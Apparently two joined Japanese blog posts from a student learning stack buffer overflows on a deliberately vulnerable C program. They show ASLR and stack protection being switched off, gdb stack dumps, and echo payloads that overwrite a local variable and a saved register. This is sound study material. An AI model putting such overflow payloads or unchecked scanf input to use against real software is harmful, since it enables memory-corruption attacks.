   0x565556a0 <+176>: call   0x56555440 <printf@plt>
   0x565556a5 <+181>: add    esp,0x10
   0x565556a8 <+184>: mov    eax,0x0
   0x565556ad <+189>: lea    esp,[ebp-0x8]
   0x565556b0 <+192>: pop    ecx
   0x565556b1 <+193>: pop    ebx
   0x565556b2 <+194>: pop    ebp
   0x565556b3 <+195>: lea    esp,[ecx-0x4]
   0x565556b6 <+198>: ret    
End of assembler dump.

見てもらいたいのは"0x565555f0"から"0x56555607"のところ。
これ、僕の知ってる関数のプロローグじゃないです(汗)
ebp加えてebxとecxがpushされているし、これ絶対SSPのCanary領域のためですよね!?
gccの-fno-stack-protectorオプションでSSPは無効化しているはずなんですが…。
SSPを有効化させて実行し、SSP無効化状態との違いを探ってみる。

SSPを有効にして実行

ますはコンパイル

$ gcc -m32 -g -fstack-protector local_variables1.c
実行してみる。
$ ./a.out 
var1's address   : 0xffffd2e0
var2's address   : 0xffffd2e4
var2's size      : 8

var1's values    : 1

input for var2 >>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
var1's values    : 1

*** stack smashing detected ***: ./a.out terminated
Segmentation fault

どうやら入力値が変数var2の領域を越え、変数var1の領域まで達したことを検出しているらしい。
-fno-stack-protectorオプションはこれを無効化しているのかな!?。
Canary領域の無効化はどうやってするのだろうか。gccのバージョンによるものなのかな!?
今後検証していきたいと思う。

どうやらSegmentation faultの原因はスタック上にebxとecxがCanary領域として存在しているためであると想定される。
じゃあ、入力値をスタック上のebxとecxの値を書き換えずに変数var1に書き換えたい値を入力すればSegmentation faultを迂回させることができるのでは!?
実際にやってみよう。

Segmentation faultを迂回させるための準備

それでは検証する前に下準備。
スタック上に格納されているebxとecxの値を調べることから始める。
(今後、main関数のスタックフレーム上で用いられているebxとecxとを区別するために、スタック上に格納されているebxとecxをそれぞれsaved ebx、saved ecxと呼ぶことにする。)

(gdb) x/16x $esp
0xffffd250: 0x00000001  0xffffd314  0xffffd31c  0x00000001
0xffffd260: 0xffffd280  0x00000000  0x00000000  0xf7e12276
0xffffd270: 0x00000001  0xf7fad000  0x00000000  0xf7e12276
0xffffd280: 0x00000001  0xffffd314  0xffffd31c  0x00000000

スタックの先頭を指しているespの値から下に向かって4バイト単位で16つ格納されている値を16進数で表示させている。一番左の数値はスタック上のアドレスを示している。
変数var2のアドレスは"0xffffd25"なので"0xffffd314"と"0xffffd31c"の値が、変数var1のアドレスは"0xffffd2c"なので、"0x00000001"が格納されていることが見てわかる。
実際にそうなのかどうか値を入力して検証してみる。

(gdb) cont
Continuing.
input for var2 >>> aaaaaaaaaaa                           

Breakpoint 2, main (argc=1, argv=0xffffd314) at local_variables1.c:18
18      printf("var1's values    : %d\n\n", var1);
(gdb) x/16x $esp
0xffffd250: 0x00000001  0x61616161  0x61616161  0x00616161
0xffffd260: 0xffffd280  0x00000000  0x00000000  0xf7e12276
0xffffd270: 0x00000001  0xf7fad000  0x00000000  0xf7e12276
0xffffd280: 0x00000001  0xffffd314  0xffffd31c  0x00000000

contコマンドで次のBreak pointまで進めて値を入力。上記では11文字(“aaaaaaaaaaa”)を入力値とした。
スタックの中を見てみると、変数var2の領域はもちろん変数var1の領域にまで文字列が代入されていることが見てわかる。

では、saved ebxとsaved ecxの値を見ていく。
saved ebxが格納されてるアドレスはスタックの底から2番目なのでebp - 4、すなわち"0xffffd264"にsaved ebxの値が格納されていることがわかる。
また、saved ecxが格納されているアドレスはスタックの底から3番目なのでebp - 8、すなわち"0xffffd260"にsaved ecxの値が格納されていることがわかる。
上記より、スタックに格納されたsaved ebxとsaved ecxの値を見るとsaved ebxは"0x00000000"が、saved ecxには"0xffffd280"が格納されていることが見てわかる。

Segmentation faultを迂回させる!?

上記の結果より、入力値を設定し実行させてみる。

 echo -e 'aaaaaaaa\x2\x0\x0\x0\x80\xd2\xff\xff' | ./local_variables1
var1's address   : 0xffffd2cc
var2's address   : 0xffffd2c4
var2's size      : 8

var1's values    : 1

input for var2 >>> var1's values    : 2

Segmentation fault

!?!?!?!?!?!?…あれ!?迂回できてなくね!?
ここからとても悩みました。理論的には迂回できるはずなのに何故かできない。考えて考えて考えて、ふと気づいた。
実行するときgdbデバッガから実行しているから、実行形式がgdbの子プロセルになっていて、実行形式単体で実行したときには変数のアドレスとかスタック領域のアドレスとか領域の値とは変わってくるんじゃね!?
これが正しけれはgdbで得られた情報を基に実行しても迂回できない。
ってことで検証する。

使用するプログラム2

プログラム1では検証することができないので、下記のプログラムを使用して検証する。

#include <stdio.h>

int main(int argc, char *argv[]){
    int  var1 = 1;
    char var2[8];

    printf("var1's address         : %p\n",   &var1);
    printf("var2's address         : %p\n",   var2);
    printf("var2's size            : %d\n\n", sizeof(var2));
    
    printf("saved ecx's  address   : %p\n",   &var1 + 1);
    printf("saved ebx's  address   : %p\n",   &var1 + 2);
    printf("saved ebp's  address   : %p\n\n", &var1 + 3);
    
    printf("var1's values          : %d\n\n", var1);
    printf("saved ecx's  values    : %p\n",   *(&var1 + 1));
    printf("saved ebx's  values    : %p\n",   *(&var1 + 2));
    printf("saved ebp's  values    : %p\n\n", *(&var1 + 3));
    
    printf("input for var2       >>> ");
    scanf("%s", var2);

    printf("var1's variable        : %d\n\n", var1);
    printf("saved ecx's  values    : %p\n",   *(&var1 + 1));
    printf("saved ebx's  values    : %p\n",   *(&var1 + 2));
    printf("saved ebp's  values    : %p\n\n", *(&var1 + 3));

    return 0;
}

ASLRは無効化されているので、実行する度に変数のアドレスやスタックのアドレスなどは変わらない。

$ ./local_variables1-1
var1's address         : 0xffffd2bc
var2's address         : 0xffffd2b4
var2's size            : 8

saved ecx's  address   : 0xffffd2c0
saved ebx's  address   : 0xffffd2c4
saved ebp's  address   : 0xffffd2c8

var1's values          : 1

saved ecx's  values    : 0xffffd2e0
saved ebx's  values    : (nil)
saved ebp's  values    : (nil)

input for var2       >>> aaaa
var1's variable        : 1

saved ecx's  values    : 0xffffd2e0
saved ebx's  values    : (nil)
saved ebp's  values    : (nil)

上記の結果よりsaved ecxの値は"0xffffd2e0"だということがわかったので、これを基にSegmentation falutを迂回させる入力を与えて実行してみる。

Segmentation faultを迂回させる!!!

$ echo -e 'aaaaaaaa\x78\x56\x43\x12\xe0\xd2\xff\xff' | ./local_variables1-1
var1's address         : 0xffffd2cc
var2's address         : 0xffffd2c4
var2's size            : 8

saved ecx's  address   : 0xffffd2d0
saved ebx's  address   : 0xffffd2d4
saved ebp's  address   : 0xffffd2d8

var1's values          : 1

saved ecx's  values    : 0xffffd2f0
saved ebx's  values    : (nil)
saved ebp's  values    : (nil)

input for var2       >>> var1's variable        : 306402936

saved ecx's  values    : 0xffffd2e0
saved ebx's  values    : (nil)
saved ebp's  values    : (nil)

上記より、Segmentation falutを迂回させることができていることが確認できる。
やりましたよー。迂回できましたよー。良いお勉強になりました。情報を鵜呑みにしてはいけないんだなと感じました。
自分の手で実際に検証することで得られる知識は何ものにも代えがたいなと思いました。

ここでスタック領域について補足。一般的にある関数Aからある関数Bが呼ばれた場合、関数Aの次の命令を実行するためにスタックに関数Aのリターンアドレス(eip)を格納する。
このリターンアドレス任意の値に書き換えることができれば任意の命令を実行させることができるらしい。
ほんとにそうなのか!?

次回はリターンアドレスをmain関数の先頭に書き換えることができたことについて書いていきたいと思う。

使用したプログラム

github.com

バッファオーバーフロー脆弱性について ①ローカル変数を任意の値に書き換える

最近、大学の講義でメモリ領域についての実験があったのでその延長としてバッファオーバーフロー脆弱性についてお勉強したことを書いていきたいと思う。

実行環境

実行環境は下記の通り。

$ uname -a
Linux kali 4.9.0-kali3-amd64 #1 SMP Debian 4.9.18-1kali1 (2017-04-04) x86_64 GNU/Linux
$ gcc --version
gcc (Debian 6.3.0-18) 6.3.0 20170516
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

バッファオーバーフロー脆弱性のあるプログラム

バッファオーバーフロー脆弱性のあるプログラムを下記に示す。

#include <stdio.h>

int main(int argc, char *argv[]){
    int  var1 = 1;
    char var2[8];

    printf("var1's address   : %p\n",   &var1);
    printf("var2's address   : %p\n",   var2);
    printf("var2's size      : %d\n\n", sizeof(var2));
    
    printf("var1's values    : %d\n\n", var1);
    
    printf("input for var2 >>> ");
    scanf("%s", var2);

    printf("var1's values    : %d\n\n", var1);

    return 0;
}

このプログラムは変数var2にscanfで入力文字列を代入しその後、変数var1の値をpritnfで表示するものである。

今回の実験では
* 変数var2が確保している領域以上の長さの文字列を入力することでメモリ上のスタック領域を破壊することができること
* 入力値をうまく設定することでスタック領域を任意の値に書き換えることができること
を見ていく。

ASLRを無効化する

Address Space Layout Randomization (ASLR)はスタックやヒープ、共有ライブラリなどをメモリに配置するときにアドレスの一部をランダム化することで攻撃者がアドレスを推測するのを困難にするセキュリティ機構である。
今回の実験ではASLRが有効状態だとうまく実験が行えないので無効化する。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

SSPを無効化する

Stack Smash Protection(SSP)はスタック上でバッファオーバーフローを防ぐためのセキュリティ機構である。
スタックフレーム上のローカル変数領域とSaved EBPの間にCanary(カナリア)と呼ばれる値を挿入し、関数の終了時にその値が書き換えられているかどうかを判定することでバッファオーバーフローの検出を行うもの。もしバッファオーバーフローが発生していた場合にはその場でプログラムを強制終了してくれる。
コンパイル時に-fno-stack-protectorオプションを指定することでStack Smash Protection (SSP)を無効にできる。

コンパイル

このプログラムをコンパイルする。

$ gcc -g -m32 -fno-stack-protector -o local_variables1 local_variables1.c

-gオプションを設定することでgdbデバッガを使用するときに追加のデバッグ情報を出力させることができる。
また、-m32オプションを設定することで32ビット実行形式にすることができる。

スタック領域を破壊する

実際にバッファオーバーフローを起こしてみる。
まずは正常な値を入力してみる。

$ ./local_variables1
var1's address   : 0xffffd2cc
var2's address   : 0xffffd2c4
var2's size      : 8

var1's values    : 1

input for var2 >>> aaaa

var1's values    : 1

実行結果より変数var1と変数var2のアドレスが隣接していることがわかる。
また、変数var2の方が変数var1よりも低位アドレスに配置されていることがわかる。
変数var1の値は初期化時と同様“1”が出力される。

次は変数var2のサイズ以上の値を入力してみる。

$ ./local_variables1
var1's address   : 0xffffd2cc
var2's address   : 0xffffd2c4
var2's size      : 8

var1's values    : 1

input for var2 >>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
var1's values    : 1633771873

Segmentation fault

変数var1の値が書き換えれバッファオーバーフローが起こっていることが確認出来る。
これは低位アドレスに配置されている変数var2にサイズ以上の値を入力した結果、変数var2隣接している変数var1の領域にまで入力値が代入され、変数var1の値が書き換えられるためである。

スタック領域を任意の値に書き換える

では次に変数var1の値を任意の値に書き換えてみる。
次の実行は変数var1の値を“2”に書き換えるものである。

$ echo -e 'aaaaaaaa\x2\x0\x0\x0' | ./local_variables1
var1's address   : 0xffffd2cc
var2's address   : 0xffffd2c4
var2's size      : 8

var1's values    : 1

input for var2 >>> var1's values    : 2

Segmentation fault

実行結果より変数var1の値が"1"から"2"に書き換えれていることわかる。
echoコマンドの-eオプションを指定することでエスケープ・シーケンスを有効にできる。
“\x(数字)"の”(数字)“に書き換えたい値を指定することで変数var1に任意の値を書き換えることができる。
変数var2のサイズ分の値(上記では"aaaaaaaa"を入力)とエンディアンを考慮した書き換えたい値(上記では"2"に書き換えたいのでを”\x2\x0\x0\x0"を入力)を入力値としてechoの標準出力からパイプを通して実行形式の標準入力としている。

おまけ

下記のプログラムは変数var1の値を"0x12345678"に書き換えることができれば"congratulations!“と表示されるものである。

#include <stdio.h>

int main(int argc, char *argv[]){
    int  var1 = 1;
    char var2[8];

    printf("var1's address   : %p\n",   &var1);
    printf("var2's address   : %p\n",   var2);
    printf("var2's size      : %d\n\n", sizeof(var2));
    
    printf("var1's values    : %d\n\n", var1);
    
    printf("input for var2 >>> ");
    scanf("%s", var2);

        printf("var1's values    : %d\n\n", var1);
    if(var1 == 0x12345678) printf("\n\ncongratulations!\n\n");

    return 0;
}

では変数var1を“0x12345678”に書き換えてみる。

echo -e 'aaaaaaaa\x78\x56\x34\x12' | ./local_variables2
var1's address   : 0xffffd2cc
var2's address   : 0xffffd2c4
var2's size      : 8

var1's values    : 1

input for var2 >>> var1's values    : 305419896



congratulations!

Segmentation fault

うまく表示させることができました!

Segmentation fault

ここでバッファオーバーフローさせるたびに毎回、Segmentation faultが発生する。
次回はSegmentation faultを迂回させた方法について書いていきたいと思う。

使用したプログラム

github.com